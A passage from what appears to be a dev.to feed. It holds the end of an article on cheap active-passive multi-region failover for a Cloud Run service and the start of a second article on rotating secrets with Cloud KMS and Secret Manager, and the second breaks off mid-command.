  
  
  Step 1: the load balancer has to decide, not you
&lt;/h2&gt;

&lt;p&gt;The load balancer routes to a backend service with two backends — one NEG per region — and it fails over based on health checks. The health check is the most important line in this setup, because a bad one either fails over too late or flaps between regions forever. My health endpoint does not return 200 because the process is alive. It checks the things a request actually needs:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="nd"&gt;@app.get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/healthz&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;healthz&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;db&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Session&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;Depends&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;get_db&lt;/span&gt;&lt;span class="p"&gt;)):&lt;/span&gt;
    &lt;span class="c1"&gt;# Fail the check if the database is unreachable or
&lt;/span&gt;    &lt;span class="c1"&gt;# if replication lag is past the threshold we accept.
&lt;/span&gt;    &lt;span class="n"&gt;db&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;execute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;text&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;SELECT 1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
    &lt;span class="n"&gt;lag&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;replication_lag_seconds&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;db&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;lag&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;MAX_ACCEPTABLE_LAG_SECONDS&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;  &lt;span class="c1"&gt;# 30 seconds, tuned below
&lt;/span&gt;        &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="nc"&gt;HTTPException&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;status_code&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;503&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;detail&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;replication lag too high&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;status&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ok&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;region&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;environ&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;REGION&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Two decisions are embedded here. First, the check depends on the database, not just the process — a service that cannot reach its database is not a healthy backend. Second, the passive region fails its own health check while replication lag is high, which keeps the load balancer from sending traffic to a region whose data is too stale to serve. Thirty seconds is my threshold, not a universal constant: it comes from the scoring workload, where evidence a minute old is still useful, but evidence five minutes old would produce a score I would not stand behind.&lt;/p&gt;

&lt;p&gt;The backend service itself is configured with a failover policy — the passive NEG only receives traffic when every instance in the active NEG is unhealthy:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Create the serverless NEGs (one per region)&lt;/span&gt;
gcloud compute network-endpoint-groups create neg-east &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--region&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;us-east1 &lt;span class="nt"&gt;--network-endpoint-type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;serverless &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--cloud-run-service&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;scoring-service

gcloud compute network-endpoint-groups create neg-central &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--region&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;us-central1 &lt;span class="nt"&gt;--network-endpoint-type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;serverless &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--cloud-run-service&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;scoring-service

&lt;span class="c"&gt;# Backend service with the passive NEG as the failover target&lt;/span&gt;
gcloud compute backend-services create scoring-backend &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--global&lt;/span&gt; &lt;span class="nt"&gt;--load-balancing-scheme&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;EXTERNAL_MANAGED &lt;span class="nt"&gt;--protocol&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;HTTPS

gcloud compute backend-services add-backend scoring-backend &lt;span class="nt"&gt;--global&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--network-endpoint-group&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;neg-east &lt;span class="nt"&gt;--network-endpoint-group-region&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;us-east1

gcloud compute backend-services add-backend scoring-backend &lt;span class="nt"&gt;--global&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--network-endpoint-group&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;neg-central &lt;span class="nt"&gt;--network-endpoint-group-region&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;us-central1 &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--failover&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;--failover&lt;/code&gt; flag is the whole point: the passive region gets zero traffic while the active region is healthy. That keeps the cost story simple and, more importantly, it keeps the passive region's behaviour predictable — it is a standby, not a second active that you have to keep in sync under load.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 2: the database is the hard part
&lt;/h2&gt;

&lt;p&gt;Compute failover is easy. Data failover is where this design earns its keep, and where you have to be honest about what you are getting.&lt;/p&gt;

&lt;p&gt;For Cloud SQL, I run a cross-region read replica in the passive region. The replica is asynchronous, which means there is replication lag — usually a second or two, sometimes more under write bursts — and that lag is the RPO of the whole design. If the active region dies mid-write, the passive region may serve data a few seconds behind. For a readiness score that recomputes from stored evidence, a few seconds of staleness is acceptable. For a payment ledger, it would not be. Name your RPO before you choose your replication, not after.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Cross-region read replica in the passive region&lt;/span&gt;
gcloud sql instances create scoring-replica &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--master-instance-name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;scoring-primary &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--region&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;us-central1 &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--tier&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;db-custom-1-3840
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The replica is read-only, which creates a real constraint: the passive Cloud Run service cannot write to it. During a failover, the service runs in a degraded mode — it serves reads and computed scores from replicated data, and it queues writes instead of performing them. That queue is a Pub/Sub topic, and the writes replay once the primary is back or the replica is promoted. This is a deliberate trade-off: I would rather serve a slightly stale score with a clear "data as of" timestamp than refuse to serve anything, and I would rather queue a write than silently drop it. The API response says so explicitly:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="nd"&gt;@app.get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/readiness/{customer_id}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;readiness&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;customer_id&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;score&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;compute_score&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;customer_id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;score&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;score&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;status&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;score&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;          &lt;span class="c1"&gt;# READY TODAY / ACTION NEEDED / ...
&lt;/span&gt;        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;evidence_as_of&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;score&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;evidence_as_of&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;isoformat&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;degraded&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;is_failover_mode&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;  &lt;span class="c1"&gt;# True when serving from the replica
&lt;/span&gt;    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;degraded&lt;/code&gt; flag and the &lt;code&gt;evidence_as_of&lt;/code&gt; timestamp are not cosmetic. They are the contract with whoever consumes the score: during a failover, the consumer knows the data is replicated and how old it is, and can decide for itself whether that is good enough. A failover that silently serves stale data as if it were fresh is worse than an outage — at least an outage is honest.&lt;/p&gt;

&lt;p&gt;Firestore, which I use for customer-facing configuration and auth-adjacent data, is the easy half of this story: it is multi-region by design, so the passive region reads the same data with no replication work from me. Put data where the platform already solves the problem, and spend your failover budget only on the store that needs it.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 3: keep the passive region cheap and the failover tested
&lt;/h2&gt;

&lt;p&gt;The passive region costs almost nothing while it waits, and that is by design:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Cloud Run min-instances = 0&lt;/strong&gt; in the passive region. Cold start on failover is the price — the first request after a failover takes a few seconds while an instance spins up. I accept that because the alternative, a warm standby, costs a running instance 24/7 for an event that may never happen. If your recovery-time objective cannot tolerate a cold start, set min-instances to 1 and pay for it knowingly.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The replica is the real cost.&lt;/strong&gt; A small Cloud SQL replica runs whether or not a failover happens. That is the honest price of the design, and it is the line item to check before you commit — for a solo builder, it is usually the largest cost in the whole setup.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The load balancer and Cloud Armor policy are shared&lt;/strong&gt;, not duplicated. One Cloud Armor policy with the same WAF and rate-limit rules protects both regions, so a failover does not quietly change your security posture.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The part most people skip is the failover test. An untested failover is a hope, not a plan. Once a quarter I run a controlled test: I mark the active region's health check unhealthy on purpose, watch traffic move, confirm the &lt;code&gt;degraded&lt;/code&gt; flag and &lt;code&gt;evidence_as_of&lt;/code&gt; appear in responses, then restore and watch traffic move back. The test takes about twenty minutes and has caught two real problems — a health check that depended on a cache instead of the database, and a firewall rule that the passive region's service account did not have. Both would have turned a real failover into a second outage.&lt;/p&gt;

&lt;h2&gt;
  
  
  What this does not protect against
&lt;/h2&gt;

&lt;p&gt;Three honest limitations, because a failover design that hides them is a liability:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;It does not protect against a bad deploy.&lt;/strong&gt; The same revision runs in both regions, so a bug ships everywhere at once. That is why the deploy pipeline matters more than the failover design — the pipeline is what keeps a bad revision from reaching either region.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;It does not protect against a data-plane bug in the application itself.&lt;/strong&gt; If the scoring logic is wrong, both regions compute the same wrong score. Deterministic scoring helps here, because the same evidence always produces the same score, and a wrong score is at least reproducible and debuggable.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;It does not protect against a global control-plane incident.&lt;/strong&gt; If the thing that is broken is Google Cloud's global load balancing itself, no region-level design saves you. That is a risk I accept, and I say so, rather than pretending two regions equal invincibility.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  The takeaway
&lt;/h2&gt;

&lt;p&gt;Multi-region failover for a small service is not a big-team project. It is a load balancer with a failover backend, a health check that actually checks the database, a cross-region replica with a named RPO, and a quarterly test that proves it works. The extra cost is dominated by one small database replica, and the extra code is a health endpoint, a degraded-mode flag, and a write queue.&lt;/p&gt;

&lt;p&gt;The question to ask before building any of this is not "can I afford two regions?" — it is "what does my service promise when one region is gone?" If the honest answer is "a slightly stale score, clearly labelled, with writes queued," then this design is enough. If the answer has to be "the exact same data, the exact same writes, zero loss," then you need synchronous replication and a budget to match, and you should say that out loud before you start building. Failover is a trade-off you choose deliberately, not a checkbox you tick. Choose it on purpose, test it on purpose, and label what it serves.&lt;/p&gt;

</description>
      <category>googlecloud</category>
      <category>cloudrun</category>
      <category>devops</category>
      <category>sre</category>
    </item>
    <item>
      <title>Rotating Secrets Without Breaking Production: Cloud KMS + Secret Manager at Solo-Builder Scale</title>
      <dc:creator>Purvansh Bhatt</dc:creator>
      <pubDate>Mon, 02 Nov 2026 15:36:05 +0000</pubDate>
      <link>https://dev.to/purvanshbhatt/rotating-secrets-without-breaking-production-cloud-kms-secret-manager-at-solo-builder-scale-2mil</link>
      <guid>https://dev.to/purvanshbhatt/rotating-secrets-without-breaking-production-cloud-kms-secret-manager-at-solo-builder-scale-2mil</guid>
      <description>&lt;p&gt;I once rotated a database password by hand at 11 p.m. and spent the next hour watching a service fail to start because one Cloud Run revision still held the old value in an environment variable. Nothing about the rotation itself was hard. The hard part was that I had no system: no versioning, no rollout order, no way to answer the simple question of which revision was reading which secret.&lt;/p&gt;

&lt;p&gt;That night is why I now treat secret rotation as a deployment problem, not a clipboard problem. This article walks through the setup I use today on Google Cloud: Secret Manager for the secrets themselves, Cloud KMS for the encryption keys underneath them, and a rotation pattern that keeps old and new versions alive at the same time so a deploy can never strand a running revision. Everything here is sized for a small team or a solo builder. No enterprise ceremony, but also no shortcuts that fall apart the first time you rotate under pressure.&lt;/p&gt;

&lt;h2&gt;
  
  
  The mental model: three layers, three different jobs
&lt;/h2&gt;

&lt;p&gt;It helps to separate three things that people often blur together:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;The secret&lt;/strong&gt; — a database password, an API key, a signing key. This lives in Secret Manager.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The encryption key&lt;/strong&gt; — the Cloud KMS key that encrypts the secret at rest. Secret Manager uses Google-managed encryption by default, and you can bring your own customer-managed encryption key (CMEK) if you want control over rotation and destruction of the key itself.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The access path&lt;/strong&gt; — how your workload reads the secret at runtime: as a mounted volume, as an environment variable injected by Cloud Run, or fetched in code through the Secret Manager API.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Rotation can happen at any of these layers, and they are independent decisions. Rotating a secret value is not the same as rotating its encryption key, and neither one automatically rotates the credentials held by downstream systems. When I plan a rotation, I write down which layer I am rotating and what breaks if I get the order wrong. That one habit has prevented more incidents than any tool.&lt;/p&gt;

&lt;h2&gt;
  
  
  Setting up the pieces
&lt;/h2&gt;

&lt;p&gt;Start with a KMS key ring and a key with a rotation schedule. The rotation schedule matters because it is the one part of this system that works while you forget about it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;gcloud kms keyrings create app-keyring &lt;span class="nt"&gt;--location&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;us-central1

gcloud kms keys create app-secrets-key &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--keyring&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;app-keyring &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--location&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;us-central1 &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--purpose&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;encryption &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--rotation-period&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;90d &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--next-rotation-time&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"2027-02-01T00:00:00Z"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A 90-day rotation period is a reasonable default. Shorter periods sound more secure, but every rotation is a chance for something to go wrong, and a schedule you cannot operate reliably is worse than a longer schedule you actually follow. The trade-off is honest: KMS key rotation re-encrypts data with the new key version going forward; old key versions stay available to decrypt older ciphertext, so rotation is not an emergency procedure. That is a feature, not a weakness. It means a bad rotation does not brick your data.&lt;/p&gt;

&lt;p&gt;Next, a secret that uses that key for encryption:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;gcloud secrets create db-password &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--replication-policy&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"automatic"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--kms-key&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"projects/PROJECT_ID/locations/us-central1/keyRings/app-keyring/cryptoKeys/app-secrets-key"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;One decision to make deliberately is the replication policy. Automatic replication is simpler and fine for most small workloads. If you have a data-residency requirement, user-managed replication with explicit locations is the right call, but it adds operational surface. Do not pick the complex option by default.&lt;/p&gt;

&lt;h2&gt;
  
  
  The pattern that actually works: dual-version rotation
&lt;/h2&gt;

&lt;p&gt;Here is the core pattern, and it is worth stating plainly because the naive version — change the secret, redeploy everything at once — is how you get a midnight outage:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Add the new version; do not disable the old one.&lt;/strong&gt; Secret Manager versions are cheap and explicit. Create the new value as a new version while the old version stays enabled.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Make the consumer accept both.&lt;/strong&gt; For a database password, that means creating the new database user or updating the credential so both the old and new passwords authenticate during the transition window. For an API key, it means the receiving system has both keys registered. This is the step people skip, and it is the step that makes rotation safe.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Roll the workload forward.&lt;/strong&gt; Deploy a new Cloud Run revision that reads the new version. Cloud Run can mount a secret as a volume or inject it as an environment variable pinned to a specific version:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="c1"&gt;# service.yaml (excerpt)&lt;/span&gt;
&lt;span class="na"&gt;spec&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;template&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;spec&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="na"&gt;containers&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
        &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;image&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;gcr.io/PROJECT_ID/app:latest&lt;/span&gt;
          &lt;span class="na"&gt;env&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
            &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;DB_PASSWORD&lt;/span&gt;
              &lt;span class="na"&gt;valueFrom&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
                &lt;span class="na"&gt;secretKeyRef&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
                  &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;db-password&lt;/span&gt;
                  &lt;span class="c1"&gt;# Pin to "latest" only if your deploy pipeline&lt;/span&gt;
                  &lt;span class="c1"&gt;# controls exactly when a revision goes live.&lt;/span&gt;
                  &lt;span class="c1"&gt;# Pinning a version number is safer for rollbacks.&lt;/span&gt;
                  &lt;span class="na"&gt;version&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;2"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Pinning a version number versus using &lt;code&gt;latest&lt;/code&gt; is a real trade-off. &lt;code&gt;latest&lt;/code&gt; means a new secret version flows into the next deploy automatically, which is convenient and also means a bad secret version ships the moment you deploy for an unrelated reason. A pinned version means rotation is a deliberate deploy, and rollback is just redeploying the previous revision. I pin versions. The extra deploy is cheap; the ambiguity is not.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Verify the new revision, then disable the old version.&lt;/strong&gt; Wait until traffic has fully shifted and the old revision is gone — Cloud Run keeps old revisions around, so check that no revision still references the old version before you disable it. Disabling is reversible; destroying is not. I disable first, wait a full deploy cycle, and only destroy much later, if ever.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The whole sequence can be scripted, and it should be, because a manual rotation done twice a year is a manual rotation done wrong twice a year.&lt;/p&gt;

&lt;h2&gt;
  
  
  Automating the schedule
&lt;/h2&gt;

&lt;p&gt;Rotation that depends on someone remembering is rotation that does not happen. A small Cloud Run Job triggered by Cloud Scheduler can handle the mechanical parts: generate the new value, add it as a new Secret Manager version, and open the follow-up work (the dual-acceptance step and the deploy) as a tracked task rather than trying to automate the parts that need judgment.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# rotate_secret.py (excerpt) — runs as a Cloud Run Job
&lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;google.cloud&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;secretmanager&lt;/span&gt;

&lt;span class="n"&gt;client&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;secretmanager&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;SecretManagerServiceClient&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="n"&gt;parent&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;projects/&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;PROJECT_ID&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;/secrets/db-password&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;

&lt;span class="c1"&gt;# Add the new version. The old version stays enabled until
# a human confirms the new revision is serving traffic.
&lt;/span&gt;&lt;span class="n"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;add_secret_version&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;parent&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;parent&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;payload&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;data&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;new_password_bytes&lt;/span&gt;&lt;span class="p"&gt;}}&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Added version: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="c1"&gt;# Deliberately NOT disabling the old version here.
# That step belongs to the deploy checklist, after verification.
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Notice what the script does not do: it does not disable the old version, and it does not deploy. Those are the two steps where a human verifying traffic is worth more than automation. Automate the boring generation; keep a human on the irreversible step.&lt;/p&gt;

&lt;p&gt;Grant the job the minimum IAM it needs and nothing more:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;gcloud secrets add-iam-policy-binding db-password &lt;span class="se"&gt;\&lt;/span&gt;
